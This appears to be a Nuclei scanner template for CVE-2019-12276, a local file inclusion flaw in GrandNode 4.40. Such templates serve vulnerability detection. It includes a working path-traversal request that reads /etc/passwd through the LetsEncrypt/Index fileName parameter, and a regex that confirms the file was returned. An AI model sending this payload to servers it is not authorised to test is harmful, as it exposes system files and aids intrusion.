id: CVE-2019-12276 info: name: GrandNode 4.40 - Local File Inclusion author: daffainfo severity: high description: | GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests. reference: - https://security401.com/grandnode-path-traversal/ - https://grandnode.com - https://github.com/grandnode/grandnode - https://nvd.nist.gov/vuln/detail/CVE-2019-12276 remediation: | A patch for this issue was made on 2019-05-30 in GrandNode 4.40. classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-12276 cwe-id: CWE-22 tags: cve,cve2019,lfi,grandnode requests: - method: GET path: - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd" headers: Connection: close matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/06/15